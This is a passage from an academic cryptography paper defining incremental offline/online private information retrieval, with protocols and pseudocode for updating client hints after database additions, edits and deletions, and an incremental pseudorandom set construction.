• Prep(D)→ h, a randomized algorithm executed by the
offline server for each client that takes a database D and
outputs a hint h.

• Query(h, i) → qi, a randomized algorithm executed by
the client that takes in h and the desired index i, and out-
puts a query qi.

• Resp(D, qi)→ ri, a deterministic algorithm executed by
the online server that takes in a query qi from the client,
and outputs a response ri.

• Recov(h, ri) → di, a deterministic algorithm executed
by the client that takes in a hint h (previously received
from the offline server) and a response ri from the online
server, and outputs the client’s desired data object di.

An OO-PIR scheme should satisfy the following properties:

Correctness. For every λ, n ∈ N, i ∈ [n], we require that

Pr

 di = D[i]:

h← Prep(D)
qi ← Query(h, i)
ri ← Resp(D, qi)
di ← Recov(h, ri)

 ≥ 1− negl(λ)

where the probability is over the randomness of all algorithms.

Security. For λ, n ∈ N, and i ∈ [n], define the distribution

P(i) :=
{

qi :
h← Prep(D)
qi ← Query(h, i)

}
An OO-PIR scheme is secure if for all PPT adversaries A,

max
i,j∈[n]

{Pr[A(P(i)) = 1]− Pr[A(P(j)) = 1]} ≤ negl(λ)

Non-triviality. The combined size of the hint h, online query
qi, and response ri should be sublinear in the size of D.

Informally, correctness means that a client can get its de-
sired item with high probability; security means that any two
queries are computationally indistinguishable to the online
server; and non-triviality means that the protocol is actually
cheaper than downloading and storing the whole database.

3.2 Incremental offline/online PIR

In this work we propose OO-PIR schemes that are incremen-
tal, in the sense that if the database mutates (new items are
added, or existing items are modified or deleted) it is not nec-
essary for the client and the offline server to rerun Prep. To
that end, the OO-PIR scheme supports four new algorithms
that incrementally modify the existing hint h so that it is com-
patible with the new database. Crucially, the cost of these
algorithms depends on the number of mutations and not on
the size of the original database.

Definition 2 (Incremental offline/online PIR). An incremen-
tal OO-PIR protocol consists of eight algorithms, four of
which are inherited from an OO-PIR scheme (Definition 1)
and four new algorithms defined as follows:

• DBUpd(D, op)→ (D′, δ), a deterministic algorithm ex-
ecuted by offline server that takes in the original database
D, and a set of operations op (additions, deletions, and
in-place edits at certain positions), outputs a new database
D′ with size n′ and a summary of the changes, δ. We dis-
cuss δ in detail in Section 6, but it is small and does not
include the objects themselves. Note that the online server
also updates D with op, but does not produce δ or interact
with clients during offline phase.

• HintReq(h, δ) → uq, a randomized algorithm executed
by the client that takes as input the hint that the client had
previously obtained from the offline server and the update
summary δ, and outputs an update query uq .

• HintRes(D′, uq) → ur, a deterministic algorithm exe-
cuted by the offline server that takes in the new database
D′ and an update query uq from the client, and outputs an
update response ur. The cost of this algorithm should be
proportional to the number of changes between D and D′.

• HintUpd(h, ur) → h′, a deterministic algorithm exe-
cuted by the client that takes in a hint h and a update
response ur from the offline server, and outputs a new hint
h′ that is valid with respect to the new database D′.
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An incremental OO-PIR scheme should satisfy the following
correctness, security, and non-triviality properties.

Correctness. For every λ ∈ N, i ∈ [n′], we require that

Pr


di = D′[i]:

h← Prep(D)

(D′, δ)← DBUpd(D, op)

uq ← HintReq(h, δ)

ur ← HintRes(D′, uq)

h′ ← HintUpd(h, ur)

qi ← Query(h′, i)

ri ← Resp(D′, qi)

di ← Recov(h′, ri)


≥ 1−negl(λ)

where the probability is over the randomness of all algorithms.
The gray boxes show the new incremental operations.

For simplicity, we will use the notation

h′ ← IncPrep(D, op, h)

for the four hint update algorithms when there is no ambiguity.

Security. For λ ∈ N, and i ∈ [n′], define the distribution

P ′(i) :=

 qi :

h← Prep(D)

h′ ← IncPrep(D, op, h)

qi ← Query(h′, i)


An incremental OO-PIR scheme is secure if for all PPT

adversaries A,

max
i,j∈[n′]

{Pr[A(P ′(i)) = 1]− Pr[A(P ′(j)) = 1]} ≤ negl(λ)

Non-triviality. The size of the initial hint h should be sub-
linear in n (the size of D), and the size of the online query qi,
response ri, update summary δ, update query uq , and update
response ur should be sublinear in n′ (the size of D′). Finally,
for a list of updates op, the computational cost of IncPrep to
the offline server should be in expectation O(|op| log n).

3.3 Types of updates considered

We consider three types of mutations: addition of new objects,
deletion of existing objects, and in-place edits that change the
database’s content but does not alter its size.

Additions. We aim to support databases where new items
are appended to the end: if the initial database is of size
n, then after m additions the database has size n + m and
the last m items are new. We make this restriction because
supporting insertions at arbitrary locations is difficult without
preprocessing the database from scratch as a single insertion
changes the indexing of all subsequent objects.

In-place edits. After m in-place edits, the updated database
is still of size n, and up to m of the n items have changed.

Deletions. Unlike the prior two operations, defining what
it means for a database object to be deleted in an OO-PIR
scheme is actually more subtle. We start by stating a trivial
fact: if a client fetches an object from the database before the
object is deleted, it is impossible to prevent the client from
accessing this object again since the client could have saved a
copy. Given this framing, we ask whether OO-PIR schemes
can guarantee two more nuanced definitions of deletion:

• Strong deletion. Assuming that a client has not explicitly
fetched a particular object in the past, an OO-PIR scheme
provides strong deletion if it can guarantee that once this
object is deleted from the server(s), the client will be un-
able to retrieve it. This is a desirable property in practice.
For example, if the database operator learns that some of
its objects are illegal or contain classified information, the
operator may wish to delete them and prevent all clients
who have not yet accessed these objects from doing so.

• Weak deletion. We relax the above definition to require
only that new clients do not learn any deleted items.
We show that in OO-PIR schemes where the hint is

stored at the client, strong deletion is very difficult to
achieve (§4.2.3). The intuition is that the hint itself implicitly
encodes information about all objects. Even if the client has
not queried the deleted object explicitly in the past, the client
can still recover it by querying other objects and reconstruct-
ing it with the existing hint. On the other hand, weak deletion
is possible; we discuss our approach in the following sections.

3.4 Are Simple Solutions Good Enough?

Before discussing our design, we first consider a few simple
approaches and describe their shortcomings. Suppose the
servers add a few items to the database. The simplest approach
is to merely let the client download and store all of the added
items. This actually works relatively well in some settings,
but when items are large this is problematic and in some
applications it could leak information. For example, the server
could infer whether the client is interested in the new items
or not by observing changes in the client’s query frequency.
Another approach is to set up a new PIR database for the
added items, preprocess that database, and give the client the
new hints. When a client issues a query, it sends queries to
both the old and the new databases, separately. This is roughly
the approach taken by Checklist [40], with the caveat that
Checklist carefully selects the sizes of the multiple databases.
However, this multi-database approach increases the online
communication, since the client must send a query and receive
a response from each of the databases.

In contrast, our solution does not require the client to store
full items locally or to download multiple objects. However,
our approach is not black-box. Instead, it requires exploiting
the structure of the underlying OO-PIR protocol.
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4 Incremental PIR: background and intuition
Our first solution builds on the two-server offline/online PIR
scheme of Corrigan-Gibbs and Kogan (CK) [23]. We start by
describing the CK protocol and then we describe our approach
to make its preprocessing incremental.

4.1 Background: the CK protocol

We discuss the “toy protocol” given in CK [23] that conveys
the key ideas of the scheme, but has high costs and violates
PIR’s non-triviality requirement. We later discuss how CK
addresses these issues. The CK protocol has two phases.

Offline phase. This phase is independent of the index that
the client wishes to query and includes the Prep step (§3.1).

• Prep(D) → h. The offline server generates
√
n ran-

dom subsets of indices in [n], S1, . . . , S√
n, each of size√

n, with the constraint that S1 ∪ · · · ∪ S√
n = [n].

For each Sj , the offline server uses the entries in Sj as
database indices to compute

√
n parities, p1, . . . , p√n,

where pj =
⊕

e∈Sj
D[e] for j = 1, . . . ,

√
n. Each par-

ity is b bits, which is the size of a database item. In short,
a parity pj for set Sj is the XOR of all objects in D refer-
enced by the indices in Sj . The server sends back the hint
h = {(S1, p1), . . . , (S√

n, p
√
n)} to the client.

Online phase. This phase depends on the specific index of
the item that the client wishes to fetch and is performed with
the online server who has no information about the subsets
chosen by the offline server.

• Query(h, i) → qi: The client generates a query for the
item at index i in D (i.e., D[i]) by finding a set S (included
in h) such that i ∈ S (we denote the corresponding par-
ity as pS). Then, the client probabilistically removes an
element from S: with probability 1 −

√
n−1
n , it removes

i; else it removes an element in S\{i} chosen uniformly
at random. The query qi is the resulting set S∗, which has
size
√
n− 1. This query is sent to the online server.

• Resp(D, qi) → ri: The online server computes the PIR
response as ri =

⊕
e∈S∗ D[e], and sends ri to the client.

• Recov(h, ri)→ di: Using the parity pS (from the Query
step), the client recovers D[i] by computing di = pS ⊕ ri.

The correctness of this scheme is probabilistic and follows
from the fact that pS =

⊕
e∈S D[e] and ri =

⊕
e∈S∗ D[e].

With probability 1 − O( 1√
n
), the set S∗ is identical to S

except that it is missing index i. In such case, the scheme is
correct and di (the XOR of pS and ri) is D[i]. This scheme
is secure against the offline server since the offline phase is
independent of i. It is secure against the online server because
qi is a uniformly random subset of [n] of size

√
n− 1.

In summary, this offline/online model pushes the expensive
linear computation to the offline phase, while the online server
only needs to do O(

√
n) computation.

Supporting multiple queries. To guarantee security against
the online server, a set cannot be used more than once—if

the online server sees two queries containing sets S\{i} and
S\{j}, computing the set difference results in the queried
indices. Therefore, the client and the server have to redo the
offline phase after the client issues a query. CK avoids this
expense with two ideas. First, the use of independent random
sets. Instead of the client generating and storing a hint h that
consists of

√
n sets and parities, where the sets have

√
n

elements with the restriction that S1 ∪ · · · ∪ Sn = [n], the
client represents h as

√
n log n independent random sets and

their parities, where each set contains
√
n indices sampled

uniformly at random. As a result, with high probability, each
index appears in at least one of the

√
n log n sets. Second,

CK introduces a refresh operation that is performed between
the client and the offline server after the client issues a query
to the online server. This refresh operation is cheap: the cost
to the offline server is simply O(

√
n). It consists of the client

generating a new set with
√
n− 1 random indices and getting

the corresponding parity from the server1. The client can then
add the index of the item it had previously queried (i) to this
set and update the parity (XOR with the queried item).

With the above two modifications, the client and the offline
server can perform a single expensive offline phase, followed
by refresh operations after every query. In this way, the ex-
pensive offline phase is amortized across multiple queries.

Reducing costs. In the above protocol, the client has to store
and download from the offline server n log2 n + b

√
n log n

bits:
√
n log n sets, each containing

√
n indices, where each

index is log n bits, and the corresponding
√
n log n parities,

each of which is b bits. To ensure the scheme is non-trivial
(i.e., has sublinear communication in n), CK uses a punc-
turable pseudorandom set (PPRS) [23] and assumes a compu-
tationally bounded adversary. With a PPRS, the client can use
a cryptographic key k to represent (and generate) a pseudoran-
dom subset S of [n]. The client can then puncture k to obtain
k∗, which is a key that generates all but one element of S and
which the client can send to the online server to generate S∗.
This means that in the offline phase, the client needs only store
(and upload to the offline server)

√
n log n cryptographic keys

(one for each set), in addition to downloading and storing the
parities. Consequently, the total communication and storage
costs are O(b

√
n log n).

4.2 Intuition: making CK’s preprocessing incremental

Consider a client that has already performed the offline phase
and holds

√
n log n parities and secret keys. Suppose that m

items are then added to the database, so that it consists of
n+m objects with indices in [n+m]. To support the updated
database the client must obtain new parities and sets.

Strawman solution (not secure). The client could keep the
original parities and sets. Then for new items, sample a few
new sets from [n +m], and acquire parities for those via a

1With small probability, the client sends a set that contains i, in which case
the refresh operation fails. Checklist [40] proposes a way to avoid this.
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process similar to refreshing—proceeding with the online
phase as before. This appears reasonable at first glance, but it
is not secure. Observe that all of the original sets of indices
were sampled uniformly from [n]. However, in an incremental
OO-PIR scheme, security requires that every set be sampled
uniformly from all indices in the database (see Definition 2),
which is the set [n +m]. Otherwise, the distribution of the
client’s queries will be biased towards sets from [n], and
the online server will be able to make inferences about the
likelihood of certain queries being for new or old items. We
give details in our extended report [46, Appendix B].

4.2.1 Introducing insertions to CK

In the previous section, we discuss how creating new sets that
include the added indices is problematic since the original
sets will not be uniformly sampled from [n+m], and hence
leaks information about the client’s queries. We therefore ask
whether instead of creating new sets and acquiring parities
for those new sets, the client can modify the existing sets and
parities it already has. That is, can we ensure that after the
update process is complete, all the sets that the client holds
are uniformly random subsets of [n+m].

Proposed protocol (simplified). Consider the simple ver-
sion of CK where the client stores, as a result of the offline
phase, the actual random sets of indices rather than their
compressed representation (which relies on secret keys to
generate each set) in addition to the hints. Suppose that at
a later point in time, the database operator appends a single
item to the existing n-item database D. The new item will
have index n+ 1 (the database is indexed from 1). Observe
that a randomly sampled subset of [n+ 1] of size

√
n should

contain index n+ 1 with probability
√
n

n+1 . A straightforward
approach to accomplish this is for the client to add index n+1

to a given set Sj probabilistically: with probability
√
n

n+1 , the
client replaces a random index in Sj with n + 1; with the
remaining probability, the client does nothing with set Sj .
This guarantees that Sj is a random subset of [n+ 1]. Note
that

√
n

n+1 is small, so with high probability the index will not
actually be added to Sj . However, recall that in CK the client
has
√
n log n sets; the client performs the above probabilistic

addition for each one of them. This ensures that with high
probability the index n+ 1 is added to at least one of the sets.

The above achieves our desired incremental property: when
a new object is appended, the client and the offline server do
not need to preprocess the database from scratch. Instead, the
client—for each set for which there is a replacement (e.g.,
n + 1 replaces some existing index e in the set)—asks the
offline server for the parity difference (D[e]⊕D[n+1]). The
client then XORs D[e] ⊕ D[n + 1] with the original parity
of the set, which cancels out the contribution of D[e] and
adds D[n+ 1] to the set. Note that we keep the size of each
set at

√
n to preserve the structure and simplicity of the CK

scheme and its security proof. In addition, we show that this

has negligible effect on query correctness (§6). Nevertheless,
one could allow sets to diverge and have different sizes, but
the original preprocessing would need to randomize the sizes
of each set to begin with. We show an example of this in
our extended report [46, Appendix E] where we discuss the
SACM OO-PIR scheme [51].

We can generalize this scheme to a batch of appends as
follows. To add m items in a batch, the client samples a
number w from the hypergeometric distribution2 HG(n +
m,m,

√
n) for each set Sj , and replaces w random indices

in Sj with w random indices in {n + 1, . . . , n + m}. The
client then tells the offline server about the changes to any set
for which w > 0, so that the offline server can compute the
parity difference and allow the client to update its hints. In
Appendix A.1 we prove that this procedure ensures that the
resulting

√
n log n sets, each of size

√
n, are uniform random

subsets of [n+m] and the client’s hints are valid.
The protocol described here is too costly and does not meet

OO-PIR’s non-triviality since the client must explicitly store
the indices of each of the sets. We address this in Section 5.

4.2.2 Supporting in-place edits

In-place edits occur when the operator of the database changes
part of an object or replaces the object entirely. Such edits
are easier to handle than insertions because the size of the
database does not change, and therefore the existing sets that
a client has remain valid. The client only needs to update the
parities of all of the sets that contain the index of the object
that has changed. Specifically, suppose that the database oper-
ator edits D[e] to D′[e] (this change must happen in both the
offline and online servers). Then it is enough for the offline
server to send e and ∆ = D[e] ⊕D′[e] to the client. Given
this information, the client can determine all of the sets that
contain e and update their corresponding parity as p← p⊕∆.

4.2.3 Supporting deletions

There are many situations where a database operator may
wish to delete items from the database so that clients can no
longer fetch them. For instance, the database may contain
an illegal object (e.g., a confidential government document).
In such cases, we ask to what extent we can modify CK to
support deletion. We consider two cases: deletion against
honest clients who follow the protocol, and deletion against
malicious clients who may deviate arbitrarily. In either case,
we assume that the client has not previously fetched the object
that the operator wishes to delete.

Deletion against honest clients. Suppose the operator
wishes to delete the item at index e. To ensure correctness in
later retrievals, the client needs to update the parities of the
sets that contain this index e. A trivial way to achieve this is
for the offline server to send the item to the client and let the

2We use HG(N,M,K) to denote the distribution where the numbers of
total items, good items, and quantity drawn are N,M,K.
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client do an XOR to cancel out the parity of that item for all
of the relevant sets. However, this defeats the purpose as the
server is deleting an item that it does not want the client to
query by sending the item to the client. Instead, we handle
deletions by replacing the data with a uniform random object
r and using the in-place edit protocol of Section 4.2.2: the
server sends D[e]⊕ r to the client, who uses this information
to update its hints without obtaining D[e].

Deletion against malicious clients. The above scheme does
not work against a malicious client since the client could
keep a copy of the original parity p for set S or keep a copy
of the update (r ⊕D[e]) sent by the server during deletion.
In either case, the client can query the online server for the
item at index e and either use p to recover D[e] directly, or
use the new parity to recover r and then compute D[e] =
r ⊕ (r ⊕D[e]).

Indeed, secure deletion against malicious clients is impos-
sible in CK: when the client obtains the parities for its sets it
has in effect an encoding of all of the items in the database
and there is no way for the servers to remove the contribution
of the deleted item. To see why, consider the following attack.
The client holds a set S that includes the index e and other
indices. It uses the online server as an oracle to obtain each
and every item at indices in S except for e. Then, using the
original parity of set S it computes the element at index e.
This attack requires fetching only

√
n− 1 elements.

Our approach for honest clients does work with malicious
clients that join the system after the element is deleted since
they will not have a copy of the parity for the deleted object.

Reusing deleted slots. Since the server replaces the deleted
item with a random mask, it is possible to utilize this empty
slot when a new item is added by performing an in-place
edit of the random mask with the new element. In some
applications the server may even wish to batch a few deletions
and insertions and replace them with in-place edits.

5 Incremental pseudorandom sets
In the previous section we discussed a protocol that extends
CK to support insertions, deletions, and edits. However, it
requires the client to explicitly store the indices for each set,
which defeats non-triviality (§3.1) since the client storage
would be O(n log2 n):

√
n log n sets, each consisting of

√
n

indices in [n+m]. We therefore ask whether one can support
an updatable compressed representation of sets.

To answer this question, recall that CK gets storage and
communication efficiency with a pseudorandom set (PRS),
which we define next. We denote the set size as s(n), which
is a function of n, and write s(n) as s for simplicity.

Definition 3 (Pseudorandom set (PRS) [23]). A pseudoran-
dom set with size s consists of key space K, and algorithms:

• Gen(1λ, n) → k: a randomized algorithm that takes as
inputs a security parameter λ and the size of the set’s range
n, and outputs a secret key k ∈ K.

• Eval(k) → S, a deterministic algorithm that takes as
input a set key k ∈ K and outputs a set S.
A formal correctness and security definition for PRS ap-

pears in CK [23], but briefly, correctness means: given k,
Eval(k) will output a set S ⊆ [n] with size s; and security
means: a PPT adversary cannot distinguish between S and a
random size-s subset of [n].

CK gives a simple PRS construction from a pseudorandom
function (PRF) f : [n]→ [n]. Gen generates a key k for the
PRF, and Eval produces the elements in the set by the evaluat-
ing the PRF at s points, i.e., S = {f(k, 1), . . . , f(k, s)}.3 CK
shows that S satisfies correctness and security [23, Appendix
B.1]. As a result, with a PRS the client stores

√
n log n keys,

which is a major reduction.
CK additionally requires the PRS to be puncturable,

which they obtain with a puncturable pseudorandom func-
tion [11, 14, 36, 39]. This helps CK achieve logarithmic com-
munication during the online phase (§4.1).

For clarity, what follows uses the notation Set[n](k, x, y)
to mean the set that results from evaluating a PRF with range
[n] using key k at consecutive points x, . . . , y for some x ≤ y.
When x = 1, we use the shorter notation Set[n](k, y).

5.1 Incremental PRS

The above approach produces indices on the original database
range, but we need to produce indices on an extended range.
We thus propose a definition for an incremental PRS. The
main change is the inclusion of auxiliary information aux
that changes how indices are derived from the set’s secret key.

Definition 4. An incremental PRS with set size s consists of
the following three algorithms:

• Gen(1λ, n) → (k, aux): a randomized algorithm that
takes a security parameter λ and a range size n, and outputs
a secret key k ∈ K, and auxiliary information aux.

• Add(aux,m)→ aux′, a randomized algorithm that takes
in auxiliary information aux and the size of the added
range, m = o(n) (which is equal to the number of addi-
tions), and outputs new auxiliary information aux′.

• Eval(k, aux) → S: a deterministic algorithm that takes
as input a set key k ∈ K and (potentially updated) auxiliary
information aux and outputs a set S.

There are two notes. First, while the range of the set changes,
the set size s is kept the same (§4.2.1). Second, the range
size from which Eval chooses the elements is encoded in aux.
The correctness, security, and non-triviality definitions are:

Correctness. Eval(k, aux) outputs a set S ⊆ [n] of size s,
for a uniformly sampled k, and Add modifies aux correctly:
given (k, aux) ← Gen(1λ, n) and aux′ ← Add(aux,m),
the output of Eval(k, aux′) is a set S′ ⊆ [n+m] of size s.

3Note that with small probability a client might generate a key k for which
there are collisions within the evaluations (e.g., f(k, 1) = f(k, 2)); in such
cases, the client samples a different key.
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Security. The set S should be a pseudorandom subset of [n],
and the set S′ should be a pseudorandom subset of [n+m].

Non-triviality. We denote the symmetric difference of two
sets S1 and S2 as S1 ⊖ S2 = (S1 ∪ S2) \ (S1 ∩ S2). We
define a function g(n) to be the expected number of elements
in U ⊖ U ′ where U is a randomly sampled size-s set from
[n] and U ′ is a randomly sampled size-s set from [n + m],
and m = o(n). That is, E[|U ⊖ U ′|] = g(n). Let S and S′

be as defined above. We say that an incremental PRS scheme
is non-trivial if E[|S ⊖ S′|] = o(g(n)).

Note that the correctness and security property can be in-
ductively defined for multiple additions. The non-triviality
definition means that the intersection of the new set S′ with
the old set S should be in expectation large. Without this re-
quirement, one could trivially satisfy correctness and security
by sampling a new set S′ ⊆ [n+m] from scratch.

5.2 High-level idea of incremental PRS construction

Suppose for a moment that we do not care about compression
(i.e., we do not require that the PRS be concisely captured
by a secret key). Then, one could just represent the PRS ex-
plicitly as the subset S ⊆ [n]. Our goal is then to devise a
procedure to extend the range of the PRS; in other words, to
obtain S′ ⊆ [n + m] by modifying, in expectation, only a
handful of elements in S. We can achieve this by recalling the
probabilistic procedure from Section 4.2.1: (1) sample w from
a hypergeometric distributionHG(n+m, m, s); and (2) re-
move w random elements from S and add w random elements
in [n + 1, n +m] to S, thereby creating S′. This strawman
constructions guarantees all PRS properties (Appendix A.1).

We now discuss how to achieve the compressed represen-
tation. Given a set key k for a (non-incremental) PRS with
range [n], one solution to modify the range of the PRS while
preserving the usefulness of the key k is to perform the above
probabilistic replacement procedure and explicitly store the
added elements from [n+1, n+m] and the removed elements
from [n] as aux. In this way, Eval could generate the initial
set S using k, and then use the explicit elements from aux to
turn S into S′. This may work fine when m is tiny (since each
element can be represented using log(n +m) bits), but for
larger m, the storage for the elements being added/removed
could be much larger than a PRF key.

Our construction improves on the above by keeping side
information that is smaller than storing elements in the clear.
Observe that since the w elements in [n + 1, n + m] are
randomly chosen, we can actually use a PRF to generate
them—similarly to how CK uses a PRF to generate the origi-
nal subset S. Our first attempt is to use the same key that CK
uses to generate S with an additional PRF that has a different
range, which will capture the added elements. That is, we
build the updated set S as S1 ∪ S2 using a PRF key k, where:

S1 := Set[n](k, s− w), S2 := Set[m](k,w) + n.

In this way, the s− w elements in the original set have not

changed because the key is the same, and using the same key
to evaluate w points in the new range produces w pseudoran-
dom elements to be added. In other words, the first set S1

removes w random elements from the original set S, and the
second set S2 adds w random elements from [n+ 1, n+m]
to S—which is what we want. Intuitively, this construction
satisfies PRS security: S is a uniformly sampled subset of
[n +m] (each elements in [n +m] has probability s

n+m of
being included in S). Appendix A.3 gives the full analysis.

Complications. There are two complications with the above
approach. The first complication is that using a PRF to instan-
tiate the PRS can result in collisions. This means that there is
no guarantee that exactly w elements in the original set are
removed. For this reason, we use a PRP instead.

The second complication is that if we use the same key
to pick two pseudorandom permutations (or functions) from
two pseudorandom permutation (or function) families with
different ranges, the two could be related.4 This defeats the
security property in Definition 4. To avoid this, we use a
different key for each of the PRPs. Specifically, for each set
S, the original set key k becomes a master key used to derive
keys k1 and k2 by a key derivation function KDF. The set S
is then S = Set[n](k1, s− w) ∪ Set[m](k2, w) + n.

Extending a set multiple times. The above approach sup-
ports multiple range extensions. Suppose a client holds the
following information after increasing the range from [n] to
[n + m]: a PRS key k, auxiliary information t1 = s − w
and t2 = w. Together, they represent S = S1 ∪ S2, where
S1 = Set[n](k1, t1) and S2 = Set[m](k2, t2)+n, and k1, k2
are derived from k. Now, say we want to incrementally modify
S to be a random subset of [n+2m] (without loss of general-
ity). As before, we sample t3 fromHG(n+2m,m, s) and suc-
cinctly represent the added elements from [n+m+1, n+2m]
as Set[m](k3, t3) + n+m, where k3 can be derived from k.

Dealing with the removed elements requires a little more
work. We randomly select t3 elements in [s], and denote the
number of elements in [1, t1] as t1, and that in [t1+1, s] as t2
(remember that t1 + t2 = s). The client updates the auxiliary
information: tℓ ← tℓ − tℓ for ℓ = 1, 2. The resulting set
Set[n](k1, t1) ∪ Set[m](k2, t2) is then a set with t3 random
indices removed.

Therefore, after extending the range twice (each time by
m), S can be represented with k, t1, t2, t3, and written as:

Set[n](k1, t1) ∪ Set[m](k2, t2)+n ∪ Set[m](k3, t3)+m+n,

where k1, k2, k3 are derived from k, and t1 + t2 + t3 = s.

5.3 Incremental PRS construction

The previous section gives the definition of incremental PRS
that we seek, and the high level overview of our construction.

4Imagine if one PRF is AES and the other PRF (which needs a smaller range)
simply uses half of the output bits of AES. While individually each PRF is
secure, when used together with the same key the PRFs are related.
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1: procedure Gen(1λ, n)→ (k, aux)
2: Sample k ← K, and set aux← [(n, s)].
3: Output (k, aux).
4: procedure Add(aux,m)→ aux′

5: Parse aux as [(rℓ, tℓ)]ℓ∈[L].
6: Compute r ←

∑
ℓ∈[L] rℓ.

7: Sample w ←HG(r +m,m, s).
8: Sample w points uniformly in [s].
9: Set t0 ← 0.

10: for ℓ ∈ [L] do
11: Set tℓ ← number of points in (

∑ℓ−1
z=0 tz ,

∑ℓ
z=0 tz ].

12: Update tℓ ← tℓ − tℓ
13: Set rL+1 = m, tL+1 = w.
14: Output aux′ ← [(rℓ, tℓ)]ℓ∈[L+1].

15: procedure Eval(k, aux)→ S
16: Parse aux as [(rℓ, tℓ)]ℓ∈[L].
17: for ℓ ∈ [L] do
18: Derive keys kℓ ← KDF(k, ℓ)
19: Compute set Sℓ ← Set[rℓ](kℓ, tℓ) +

∑
z<ℓ rz

20: Output S ←
⋃

ℓ∈[L] S
ℓ

FIGURE 1—Construction of incremental PRS Ψ.

We formalize that procedure in Figure 1.
A set is represented using a set key k and some short

auxiliary information aux. The latter is a list of tuples
[(rℓ, tℓ)]ℓ∈[L], where L is the number of subranges of a set
(the number of times the PRS’s range has been extended from
the initial range is hence L− 1). Each tuple (rℓ, tℓ) denotes
the number of elements, tℓ, chosen from the subrange rℓ. For
instance, the aux value of the example in Section 5.2 (which
extends the range twice) is [(n, t1), (m, t2), (m, t3)], and the
full range is [n+ 2m].

Theorem 1. Assuming a set of secure PRPs, PRS construc-
tion Ψ satisfies PRS correctness, security, and non-triviality.

Appendix A.3 gives a proof of this theorem.

Can we puncture our incremental PRS? Unfortunately
our construction does not preserve the puncturable property
since we use a PRP instead of a PRF to instantiate our in-
cremental PRS and there does not exist puncturable PRP
constructions [10]. For our incremental CK, this results in
less succinct online communication (O(

√
n)), but in practice

it works well (§8). Designing a puncturable incremental PRS
is an interesting open question.

6 Adding incremental PRS into OO-PIR
In order to incorporate our PRS into CK, we adapt two helper
functions from CK [23].

Membership testing. Let Member(i, (k, aux)) be an algo-
rithm that uses a single PRP call to determine whether index
i is in the set specified by (k, aux). Recall that aux is a list
[(rℓ, tℓ)]ℓ∈[L]. We first identify which subrange i is in, say rℓ.
Then we check if the corresponding tℓ is 0. If so, then the set
does not contain any elements in subrange rℓ, and Member
outputs 0. Otherwise, we compute the inverse permutation

1: procedure Prep(D)→ h
2: for j ∈ [J ] do
3: Client samples (kj , auxj)← Ψ.Gen(1λ, n)

4: for j ∈ [J ] do
5: Server computes Sj ← Ψ.Eval(kj , auxj)
6: and pj ←

⊕
e∈Sj

D[e]

7: Output h← {(kj , auxj , pj)}j∈[J]

FIGURE 2—Offline preprocessing between offline server and client.
The client stores h and uses it during online queries.

keyed by kℓ (derived from k) on i. If the result is in [tℓ], then
Member outputs 1, otherwise it outputs 0.

Shifting PRS. During a set refresh (§4.1), the client needs
to generate a set under the restriction that a certain index i
is in the set. If the client simply generates a random PRP
key k, which defines a set S = Set[n

′](k, s) where n′ is the
updated database size, the probability that i ∈ S is very low.
We instead randomly choose an element x ∈ S, define a shift
sh = x− i mod n′, and let S′ = S + sh mod n′. In this
way, k together with a shift sh, succinctly represents a set
S′ that contains i with all other s− 1 indices being random.
For simplicity, in the next section we omit sh and just use
(k, aux) ← GenWith(i, n′) to denote the above procedure;
we assume Eval takes the shift into account when computing
the set. We give the details in Appendix A.4.

6.1 Updating hints with incremental PRS

We now discuss how to make the CK protocol incremental
with the use of incremental PRS Ψ. We assume the client
holds J sets; to ensure OO-PIR’s non-triviality, J must be
sublinear in n so we let J = (n/s) log n as in Section 4.1.

The offline preprocessing (Figure 2) is the same as in Sec-
tion 4.1, except that the hints now include auxiliary infor-
mation for each set. After preprocessing, if the database D
changes due to a batch of operations op, the client and the
offline server run IncPrep(D, op, h) to get a new hint h′. We
describe each step in IncPrep below.

First, the offline server runs DBUpd to group the list of
changes specified by op (e.g., add index 101, edit index 2, del
index 7) and produces a short summary δ, which we define in
Figure 3. The server sends δ to the client.

Upon receiving δ, the client runs HintReq to generate uq

(Figure 4). uq consists of succinct representations for all the
sets whose elements changed. In some cases, the number of
changes will be large enough that with high probability all
of the client’s sets will be impacted. In our tech report [46,
Appendix C], we describe optimized algorithms for this case.

The offline server, upon receiving uq, runs HintRes (Fig-
ure 5) to generate the parity of data blocks that the client
needs to update its hints. For the three types of changes, the
server’s computation is different. For additions, the server
uses the helper function EvalDiff (Figure 5) to generate the in-
dices that are added into or removed from a set. This function
takes in a set key k, the original aux, and the updated aux′
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1: procedure DBUpd(D, op)→ (D′, δ)
2: Use op to operate on D, produce D′.
3: Group operations in op by additions, edits, and deletions:
4: if op contains madd additions then
5: Set δadd ← (“add”,madd)

6: Set D∗ be the database after the madd additions.
7: if op contains edits at x1, . . . , xmedit then
8: Set δedit ← (“edit”, [x1, . . . , xmedit ])
9: Set (X1, . . . , Xmedit )← (D∗[x1], . . . , D∗[xmedit ])

10: Set (X′
1, . . . , X

′
medit

)← (D′[x1], . . . , D′[xmedit ])

11: if op contains deletions at y1, . . . , ymdel then
12: Set δdel ← (“del”, [y1, . . . , ymdel ])
13: Set (Y1, . . . , Ymdel )← (D∗[y1], . . . , D∗[ymdel ])
14: Set (Y ′

1 , . . . , Y
′
mdel

)← (r1, . . . , rmdel ),

15: where rz
R←− {0, 1}b for all z ∈ [mdel]

16: Set δ ← (δadd, δedit, δdel), output (D′, δ)

FIGURE 3—Algorithm for producing summary δ. The offline server
keeps the parity difference for edits (the X-array) and for deletions
(the Y -array) generated in DBUpd, which are used for HintRes.

1: procedure HintReq(h, δ)→ uq

2: Parse δ as (δadd, δedit, δdel)
3: Initialize an empty set Q
4: Initialize each entry in (aux′

1, . . . , aux
′
J ) as ⊥

5: Initialize each entry in (aux∗
1, . . . , aux

∗
J ) as ⊥

6: for j ∈ [J ] do
7: if δadd = (“add”,madd) then
8: Set aux′

j ← Ψ.Add(auxj ,madd) // see Fig. 1, line 4
9: Parse aux′

j as [(rℓ, tℓ)]ℓ∈[L]

10: if tL ̸= 0 then add j into set Q, set aux∗
j ← aux′

j

11: if δedit = (“edit”, [x1, . . . , xmedit ]) then
12: if ∃z ∈ [medit] s.t. Member(xz , (kj , aux

′
j)) = 1 then

13: Add j into Q

14: if δdel = (“del”, [y1, . . . , ymdel ]) then
15: if ∃z ∈ [mdel] s.t. Member(yz , (kj , aux′

j)) = 1 then
16: Add j into Q

17: Output uq ← {(kj , auxj , aux
∗
j )}j∈Q

FIGURE 4—Client algorithm for generating update request. It keeps
a set Q for all changed sets. aux′ indicates the updated auxiliary
information, and aux∗ encodes the information needed for the server
to do incremental updates (⊥ or aux′).

for one batch of additions (aux and aux′ should have the
same subranges). This helper function efficiently computes
